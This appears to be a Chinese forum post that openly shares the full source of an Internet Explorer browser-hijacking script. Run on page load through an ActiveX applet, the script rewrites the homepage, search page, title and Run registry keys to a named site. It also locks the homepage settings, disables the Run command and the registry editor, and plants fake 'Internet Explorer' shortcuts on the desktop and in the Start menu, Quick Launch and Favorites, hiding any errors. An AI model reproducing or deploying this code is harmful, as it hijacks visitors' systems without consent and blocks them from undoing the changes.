现在我把全部源程序公布于众----因为我们是一家人.
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (document.cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "心电情缘-http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Local Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecChangeSettings", "1");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}", "Internet 连接向导");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://www.yaguo.com/~xindian");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "心电情缘", "http://www.yaguo.com/~xindian");
AddFavLnk(loc+"\链接", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "启动 Internet Explorer 浏览器", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\start menu", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\windows\Desktop", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Start Menu\Programs", "Internet Explorer", "http://www.yaguo.com/~xindian");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</script>